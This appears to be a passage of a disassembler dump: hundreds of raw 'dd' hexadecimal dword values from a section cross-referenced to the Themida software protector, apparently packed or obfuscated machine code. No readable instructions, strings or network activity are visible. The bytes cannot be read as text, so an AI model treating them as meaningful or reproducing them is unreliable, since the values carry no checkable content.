		dd 350h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0FCC35747h, 0BD70EE92h,	0F50BB07Bh, 0B4E9EF81h
		dd 0BD8356B8h, 6ABA227h, 19840F00h, 8B000003h, 0A8342DBDh
		dd 27B5FF06h, 0B306ABA2h
dword_58F768	dd 0F995FFD2h, 6A06A815h, 3E85600h, 20000000h, 895EC35Eh
					; DATA XREF: Themida_:005642BCo
		dd 81042474h, 16042444h, 46000000h, 0B64EC356h,	3193BFD2h
		dd 0B58B189Dh, 6ABA21Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 47C35747h, 0E2C11ED2h, 0F3E0B1C2h, 106C7E4h
		dd 6A000100h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 59BEC352h, 50DA8B4Ah, 3489DA8Bh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BB6692B3h, 0B5FFE06Ch, 6ABA227h, 0CE9h
		dd 25E91B00h, 890E7BFh,	0C168BDF7h, 9995FF84h, 6A06A821h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 59E3C350h, 2E0ED305h, 686069CEh, 305DBD89h
		dd 858906A8h, 6A8227Dh,	0A21BB58Bh, 820F06ABh, 0
		dd 0E41858Bh, 840F06A8h, 5, 0FB8B6657h,	0C486895Fh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0BB0FC351h, 3D4FAFAFh, 5B9958Bh, 0BF6606A8h
		dd 0C2830BD7h, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0AF6C8A19h, 0FC8A239Dh
		dd 52205089h, 0D24CBB66h, 0CE858D5Fh, 6A06ABB7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0D852C351h, 74119C59h, 8B6675C8h, 0B88689F9h, 33000000h
		dd 0A81D9D9Dh, 89006A06h, 0A82CE1BDh, 27B5FF06h, 8906ABA2h
		dd 0A80F65B5h, 1D95FF06h, 8B06A81Eh, 0A815AD9Dh, 34895006h
		dd 27B5FF24h, 6A06ABA2h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 299DC355h, 0A816598Dh
		dd 6995FF06h, 2306A82Ah, 0A80FE19Dh, 3DBD8306h,	6A82Eh
		dd 6F840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 0FDA791C3h, 0DA8B6671h, 5DA7BF66h
		dd 11E850h, 480F0000h, 98A22C77h, 284ED31h, 65BF33BEh
		dd 0FE83FDEh, 0A8Eh, 5E900h, 0D44E0000h, 5F65A4EAh, 6A243489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0B746C351h, 27B5FF52h, 8B06ABA2h,	8595FFF9h
		dd 8906A831h, 0A816C59Dh, 27B5FF06h, 8906ABA2h,	0A80ADDB5h
		dd 5595FF06h, 6606A80Fh, 835A3EBBh, 0A8077DBDh,	840F0206h
		dd 2Dh,	256DBD8Bh, 858B06A8h, 6A80D19h,	0E313BF66h, 13E9h
		dd 0FE719300h, 0D080959Fh, 0AEF161D2h, 8AC03EFEh, 3487B6FDh
		dd 8B0000C6h, 0C185C7DFh, 6A80Dh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0BE5AC352h, 2012AF5Bh, 0F4904350h, 0FFF44EE9h, 7DBD2BFFh
		dd 8B06A80Fh, 0FE8C1h, 9E4F0000h, 69AE62CAh, 85FA1500h
		dd 9744C967h, 95BD03FCh, 5F06A817h, 3385858Dh, 6A06A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0C1B7CBC3h, 0DA160879h, 8A90CAF4h, 40BF90DCh, 5063302Ch
		dd 0CB1FE7BFh, 17BB904Eh, 6A620693h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 6AF837h, 62A1858Dh
		dd 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 900E1DC3h, 2668DCE9h, 6C2ABB9Ch, 0C0830CB3h
		dd 7E99005h, 22000000h,	9A245ABFh, 535086F3h, 0A9B9BF66h
		dd 6A905Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0F3B818C3h, 6AB9943Ch, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 335287B4h
		dd 0A806C1BDh, 78DF8006h, 0BB66006Ah, 95FF30C6h, 6A82541h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 13C35141h
		dd 8D8D1FA7h, 6AB8C7Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 6C35747h, 5DC1B3B2h, 6E9C6BDh, 0A3000000h
		dd 3603DDF4h, 6AD1FF2Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 2803C353h, 0CE92ABCh
		dd 0F5000000h, 757F4CDh, 933C80D1h, 0F526C7Fh, 386h, 0D88B6600h
		dd 339DBD83h, 0F0106A8h, 7D85h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0B70F6ADDh
		dd 6ADF8BDAh, 3DBD8B02h, 9006A833h, 8E860h, 44900000h
		dd 8C6CA16Ch, 5F521A9Ch, 5050615Bh, 52310F52h, 5BD98B66h
		dd 5690585Ah, 14959D89h, 0FF5B06A8h, 0A81E1D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 7B9010C8h, 33159D8Bh, 0CE906A8h, 0E800000Dh,	0
		dd 0ABED815Dh, 6A06AC62h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0ED3DC356h,	8E9B8h
		dd 0D92E0000h, 3A80DFD4h, 6AED3Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 742186C3h, 860F5258h
		dd 6, 3019BD8Bh, 8D5F06A8h, 0AB7E2E85h,	8B6CB706h, 0A803019Dh
		dd 51509006h, 6212BF66h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 9A631C3h, 35FF6463h
		dd 0
		dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 1A3EC355h, 89244946h
		dd 0A80FF5B5h, 0F185FF06h, 6A06A833h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0FFFB9A9Ch, 0A80E01B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0D7BEBEC7h
		dd 860F77EFh, 5, 1BCD51BBh, 7D95FF70h, 0E906A82Ah, 0FEh
		dd 9D8B00B0h, 6A814E1h,	71E470E6h, 830F613Ch, 0EAh, 9B19D8Bh
		dd 0B60F06A8h, 0D98529C8h, 0BA06A831h, 6, 5DE78166h, 66C18B23h
		dd 243DF81h, 8104E8C1h,	0D9690AE3h, 0BB665164h,	665F97DFh
		dd 9589E2F7h, 6A8005Dh,	0B589C82Bh, 6A82B91h, 8166D18Bh
		dd 0E924CCD3h, 7, 6EB2436Ah, 0E90492A2h, 6, 23BB6653h
		dd 858B5FFBh, 6A80149h,	2EED8D89h, 0E38006A8h, 7C0838Bh
		dd 29D99589h, 0C08306A8h, 0DABF0F00h, 830FD03Bh, 1Ch, 2DA59D8Bh
		dd 5BE906A8h, 0E9000000h, 9, 0E44508DEh, 4CD568C1h, 0F9B70FECh
		dd 9418D8Bh, 890F06A8h,	3, 83FB8B66h, 840F01E1h, 32h, 10E9h
		dd 30A45700h, 92D50E48h, 8ADEF66Dh, 2620980Bh, 41A58344h
		dd 0FE06A809h, 797EE381h, 958949DCh, 6A80149h, 0BF0FC1B7h
		dd 0E9DAh, 0B58D0000h, 6ABDCA8h, 14E9h,	8176B400h, 67EEF362h
		dd 7663E2A8h, 0B158E376h, 7877B49Eh, 6A006AA1h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 6ED2C357h, 14E95E82h, 0A4000000h, 47B3B858h,	841A64C2h
		dd 479BFF41h, 3F91C7BAh, 0FFE95E65h, 0A81B3195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 9D8B4489h, 6A81AADh,	874B9h,	2DBD8B00h, 8306A809h, 6AFCE1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 51A426C3h, 0BE9h, 7BA58B00h,	0D2A77098h, 380F4C3Eh
		dd 0B8F8FCh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0C91CC350h,	0A99D8B73h
		dd 0BA06A81Ah, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 27C35242h
		dd 892C2AB2h, 0A820C18Dh, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 56006AF4h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0FE96369h, 69000000h, 0F9E7CE84h, 0BC11F4F7h
		dd 6864C8FDh, 0AE830FEh, 3E000000h, 0AFDE55DDh,	0AC8C1C9Fh
		dd 0DF8B66B0h, 880D5Bh,	8F0F0000h, 3, 8BDE8B66h, 0A805B995h
		dd 8E906h, 30460000h, 0A7FCBABAh, 8D8BF5FEh, 6A81469h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CAC35343h
		dd 506B88DBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 759D0958h, 6606A801h, 6A10B6BFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8912C357h
		dd 0A81755BDh, 14E806h,	0D8570000h, 0FD047864h,	5F634140h
		dd 26A6044Bh, 39180C72h, 0B5016988h, 6A81DBDh, 91BD835Fh
		dd 6A80Ch, 52840Fh, 0F98A0000h,	0B8h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 8D8D104Ch, 6A84FAFh,	5E9h, 0E57ABA00h, 0E1FF5A5Ch, 14E8h
		dd 0FAF6E100h, 0C1CAA718h, 0E3548796h, 3A9D84F6h, 0B26D96B7h
		dd 5FF88BE8h, 0BBDBD83h, 0F0006A8h, 3F884h, 0DE8B6600h
		dd 0BBDBD83h, 0F0106A8h, 40384h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0B3AE4CAFh
		dd 0E1C5E5FDh, 0BDBD83F9h, 306A80Bh, 39C860Fh, 9D230000h
		dd 6A82259h, 51006A60h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 13564A30h, 99D8BABh, 8906A810h, 0A8199185h
		dd 0D98C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0AAC35242h, 0C1D43BB9h,	8951FB78h, 0A82B499Dh
		dd 0E1805B06h, 0DBB6604h, 0FC90A49h, 0FF84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BD895C5Ch, 6A82FEDh, 858BFA8Bh, 6A80BE1h, 0F859D2Bh
		dd 853306A8h, 6A81D5Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 1AC35141h, 49B529FDh,	5006A81Dh, 48993B7h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 25C2DABh, 0B1E75626h, 6AF98B66h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0AE5A6998h, 0D8B70F51h, 68D8B70Fh, 0E557D728h, 51535250h
		dd 310F5B5Fh, 32B96660h, 616160E3h, 481585Ah, 0C72CD724h
		dd 0FE9F91Ah, 0B0000000h, 0C1C350A0h, 0E674D74Dh, 1AF641BDh
		dd 95FF170Eh, 6A80741h,	0C19D2BF5h, 8906A807h, 0ABA22785h
		dd 1EAE906h, 95890000h,	6A80C29h, 0A21F858Bh, 6A06ABh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0A3735BC3h, 0E71FD7EEh, 0C7F98Bh, 18h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 97C35141h, 5B7D6B0Ah
		dd 0F9BF8FE4h, 664FDEDFh, 8B3DC7BFh, 0ABA223B5h, 7D858B06h
		dd 6A06A82Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 42D3C355h, 8C7AABAAh, 363211B2h
		dd 2AE5BD8Bh, 68906A8h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 8C35747h, 0C8E4465Fh,	810F5F50h, 6, 399D31h
		dd 858B06A8h, 6A80BE1h,	7E9h, 7D100B00h, 0CB72FFA2h, 6A044689h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 12A2C357h, 0B0E8ED5h, 0A820019Dh,	0CE95006h
		dd 40000000h, 0B4D8C74Bh, 0C1D73059h, 892AE219h, 8B562434h
		dd 0A81461BDh, 0B5FF5F06h, 6ABA21Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 5AC35646h, 0AE7FC503h, 0BF0F07DCh
		dd 927368DBh, 9E93E57h,	3000000h, 88A82DFFh, 92654B8Eh
		dd 8C243481h, 6A3E4891h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 3137C357h, 8D39F192h
		dd 0ABA22785h, 0F9952906h, 9006A807h, 48D0F50h,	66000000h
		dd 904028BFh, 14E8h, 0F8601900h, 63621142h, 66E304F6h
		dd 201A48BCh, 9EFF1E48h, 0D381663Ah, 0FF5B133Dh, 0A8074195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 4F03844Ch, 0BD8BEF01h, 6A80785h,	0BD85C761h
		dd 306A80Bh, 0E9000000h, 8, 45FAD526h, 0CEC1521Eh, 0A227BD83h
		dd 0F0006ABh, 2584h, 0EE800h, 15D00000h, 0A90BE10Ah, 0D7CD561Ch
		dd 0B5B131F4h, 717D381h, 0E95F0D7Dh, 21h, 2FB9BD8Bh, 305006A8h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 6A019A62h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0BEE6C351h,	0B780124Fh
		dd 3840Fh, 0E7800000h, 0BD83FCABh, 6A80BBDh, 9C850F03h
		dd 66000003h, 83C36FBBh, 0ABA227BDh, 840F0006h,	38Bh, 0E03FF781h
		dd 0B5FF6BB4h, 6ABA227h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 85C35747h, 6B829D9Ch,	0BFFA8B35h, 3696A363h
		dd 95FFDE8Bh, 6A815F9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 67C35343h, 0D98AD4AEh, 8501ECE8h, 6A820D9h
		dd 0A21BB58Bh, 9D8906ABh, 6A81771h, 106C7h, 6A0001h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0BE4649C3h, 73687FAFh, 5096C69Eh, 58F0Fh, 0CBBF0000h
		dd 965E1019h, 0E8F9B70Fh, 0Dh, 0E0373B52h, 0AC450039h
		dd 0AB6F729Bh, 0CDBD8949h, 5F06A815h, 0A227B5FFh, 95FF06ABh
		dd 6A82199h, 8BF9B70Fh,	0ABA21BB5h, 41858B06h, 6A06A80Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0DF8EC356h, 53815C9Ah, 1EF19D8Bh,	895F06A8h
		dd 0A819B595h, 0C4868906h, 0F000000h, 0B82h, 5840F00h
		dd 0BB000000h, 43927D4Bh, 5B9958Bh, 6A06A8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BBBEC3h
		dd 5CFEDCB7h, 3810F53h,	66000000h, 835BF98Bh, 6A04C2h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 89208FC3h, 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 456347C3h, 0D8D8960h, 0E806A82Ah
		dd 13h,	0A1BAD141h, 0FCC62632h,	0DFAB1533h, 71FDA791h
		dd 58CF8BA0h, 0CE858D61h, 6A06ABB7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BA89C355h
		dd 86893C29h, 0B8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 44C35343h
		dd 3F35FB5Ah, 0BB661539h, 9D8B850Bh, 6A819C5h, 8509006Ah
		dd 6A81F5Dh, 0A227B5FFh, 8B6606ABh, 1D95FFFEh, 6A06A81Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0CF1BC357h, 5096A0E7h, 0FE9h, 0AAE4500h
		dd 35B5472Ch, 3E269AC9h, 7F8229B8h, 27B5FF96h, 6606ABA2h
		dd 95FFFE8Bh, 6A82A69h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 55C35040h, 3DBD83C0h,	6A82Eh,	33840Fh
		dd 81660000h, 8AB956F7h, 77BB50DCh, 89199CBFh, 6A2434h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0AC80E1C3h, 0DAA5C844h, 27B5FFA1h, 6A06ABA2h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 3941C357h, 81FEB4F7h, 0B34947EFh, 8595FF39h,	6A06A831h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 69F1C352h, 9E991h, 56E30000h, 0DA19897Ah
		dd 568B6E6Dh, 27B5FF5Fh, 8B06ABA2h, 0A819B9BDh,	5595FF06h
		dd 6606A80Fh, 0BD83D88Bh, 6A8077Dh, 36840F02h, 9000000h
		dd 0A82C7D85h, 0B9BD8906h, 8B06A80Fh, 0A80D1985h, 0C606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C7C35141h
		dd 8AD66222h, 0C185C7B3h, 6A80Dh, 0E9000000h, 0FFFFF40Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0AFC35646h
		dd 382C5ACh, 0A0043D6Dh, 6AC18B24h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8DBFC351h
		dd 0A8338585h, 0BF0F6006h, 0F9858BC1h, 6106A806h, 0DE990h
		dd 6860000h, 492C3486h,	9980A12h, 50C9DABDh, 69BD8990h
		dd 6A06A80Ah, 0A6B35700h, 6A006A5Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 9A6AC350h
		dd 2CD6ECF9h, 7169858Dh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 83F9E2C3h, 0F98A05C0h
		dd 0D2BF6650h, 2404898Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 56C35747h, 8D9D8B54h,	6A06A80Ch, 5BF85300h
		dd 0F2D28060h, 6A617AB0h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 8ED747EEh
		dd 0EB812738h, 1C674198h, 254195FFh, 6A06A8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0C100D5C3h
		dd 0D51E7EECh, 0B2E42EBFh, 7F8D8D3Ah, 6606AB8Ch, 0D1FFDF8Bh
		dd 32419589h, 0BD8306A8h, 6A8339Dh, 8F850F01h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0EAB5C356h, 0BFB9CBBh, 0A82DA19Dh, 399D8906h
		dd 8906A816h, 0A81489B5h, 6A026A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 54BC355h
		dd 89202C3Dh, 0A831D18Dh, 0BB669006h, 0E850F8B8h, 0Fh
		dd 0D34B4CBAh, 661D5B34h, 9D7D0D46h, 0B37FD4B9h, 52905F25h
		dd 1425BD03h, 0FF5F06A8h, 0A81E1D95h, 0FFBF0F06h, 0DED2EF81h
		dd 93E94634h, 0E800000Eh, 0
		dd 73ED815Dh, 6A06AC71h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 3DC4C357h, 0B13CBE55h
		dd 0AC4C15DAh, 0ACB8166h, 198D0118h, 306A810h, 0A82665BDh
		dd 8DD98B06h, 0AB7E2E85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0FAF9B079h
		dd 17D58D29h, 9D8B06A8h, 6A826CDh, 8F0F5650h, 2, 895B65B7h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 668270C3h, 0FF64DE8Bh, 35h, 8B0F00h, 64000000h
		dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 85FFECC3h, 6A833F1h, 705BD8Bh, 0FF6A06A8h
		dd 33C99D29h, 0B5FF06A8h, 6A814A1h, 95FF8EB3h, 6A82A7Dh
		dd 143E9h, 79BD8B00h, 0B006A82Dh, 70E6F900h, 0CE9h, 0F8078800h
		dd 6EC51083h, 98D91AF3h, 6800F6Eh, 8B000000h, 0A80C25BDh
		dd 8171E406h, 0F84471E7h, 0F613C16h, 10B83h, 6921BB00h
		dd 0B60F5DD1h, 1D9D8BC8h, 0BA06A802h, 6, 2DE5BD29h, 0C18B06A8h
		dd 0C1FE8B66h, 0BD2B04E8h, 6A802C9h, 1BA9B589h,	0F76606A8h
		dd 29BD29E2h, 2B06A826h, 6850FC8h, 81000000h, 0F04442DBh
		dd 0F8D18B4Fh, 13E956h,	6BB20000h, 0AFE01D05h, 261C9981h
		dd 0CD3E3598h, 0CC1014AFh, 9E95B6Bh, 80000000h,	9D89F7DBh
		dd 6A81779h, 21858Bh, 0DF8106A8h, 15C51880h, 8907C083h
		dd 0A81E819Dh, 0C08306h, 9843D381h, 0D03B482Ch,	12830Fh
		dd 0BD2B0000h, 6A833C1h, 6BE9h,	8589F900h, 6A81F1Dh, 324D8D8Bh
		dd 8B6606A8h, 1E183FEh,	52840Fh, 0F600000h, 68Eh, 8D8D8B00h
		dd 0E906A80Ch, 9, 5C8A69A8h, 0CD60B411h, 0A58361B1h, 6A8324Dh
		dd 0E9CBBFFEh, 95897804h, 6A80021h, 11E8h, 8035D200h, 16D6C6B0h
		dd 96C2F928h, 0C50F8F42h, 8531CF83h, 6A800DDh, 0E9DF8B5Bh
		dd 0
		dd 0E705B58Dh, 6A06ABh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 2D2B69C3h, 5497CCDCh, 1F823B3h
		dd 0A80B399Dh, 66006A06h, 95FFD98Bh, 6A81B31h, 799B9h
		dd 30EF8100h, 8927129Ch, 0A834A59Dh, 0FCE18306h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DEC35646h, 6870Fh
		dd 0B5890000h, 6A816ADh, 71BD89FCh, 2B06A82Ch, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0C3A37636h, 0CE8h, 9674C700h, 2DDEE3FCh, 0AFBDBC51h
		dd 11E984h, 45600000h, 90A78ECCh, 87386E48h, 0A7FF3D96h
		dd 5B0DFDCBh, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0FBAF7AC3h, 0B2687808h, 33ADF415h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0CFFDEDC3h, 6AFE8B66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0E9BFC356h, 0B6BBF471h, 880Dh, 7CBF6600h
		dd 0B9958BC8h, 6A06A805h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 89C1C350h, 0A80AC185h
		dd 698D8B06h, 6A06A814h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0E5F0C355h,	0EF71325Ah
		dd 0E98B8321h, 14h, 0CF081855h,	5C6FEDEAh, 18647844h, 81C409E1h
		dd 0FE3BFBA0h, 1258D89h, 8B5006A8h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0FFC35343h, 1D330446h, 0C91BD83h, 0F0006A8h
		dd 8984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F4E4E3Ah, 389h, 0F9B70F00h, 5E8h
		dd 4E7E9C00h, 8166644Ah, 5BC5E7CFh, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 8CD8AFC1h, 8DD9B70Fh, 0A84FAF8Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0E1FF3FFEh
		dd 2C99BD8Bh, 0BD8306A8h, 6A80BBDh, 0F3840F00h,	89000004h
		dd 0A82C519Dh, 0A7BB6606h, 0BDBD8343h, 106A80Bh, 4F7840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 7E39C6C3h, 6DB589C1h, 0E906A81Bh,	0Dh, 0E3BE3229h
		dd 1071CDA0h, 6DCC12E3h, 0BDBD8380h, 306A80Bh, 47D860Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0A26631C3h, 6646C19Ah, 9277779h, 0A82E7D9Dh
		dd 299D8B06h, 6006A831h, 66FFB70Fh, 8C66DF8Bh, 56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 9E9CFh, 0B8CB0000h, 0FE144D2Ch, 8033C244h, 0C90A04E1h
		dd 1A5840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 810FD4C3h, 5, 2B4379BFh,	0E1858B4Eh
		dd 6A06A80Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 7A98C352h, 0DE9677Bh, 52000000h
		dd 2EA6FC2Bh, 8B919F6h,	459E10D6h, 1D5D8533h, 6A06A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 50B4C1C3h, 6880Fh, 8D890000h, 6A81001h, 11E96050h, 0B5000000h
		dd 5F8F12ECh, 59E83CC7h, 3BEBC2CCh, 0B598A60Eh,	830F60h
		dd 51000000h, 8961615Fh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 5C4BC3h, 18F744Eh, 0F381662Fh
		dd 0BD8B9ADAh, 6A81FEDh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 1DE0BBC3h, 62F880ADh
		dd 0EF427868h, 0F9BF66BCh, 24048125h, 432FC187h, 0DD9D8Bh
		dd 95FF06A8h, 6A80741h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 77C35242h, 932ECDB7h,	0B557BBF1h, 8589552Ch
		dd 6ABA227h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	2C35242h, 48D0F51h, 66000000h, 89552FBBh, 0A82E8D8Dh
		dd 1F9E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 3B8C8C3h, 0F3106163h, 8BDCF414h
		dd 0ABA21F85h, 0CE906h,	88660000h, 6B50588Ch, 0E03C7FE3h
		dd 0C73D94h, 18h, 2D819D8Bh, 7E806A8h, 92000000h, 46F76BB4h
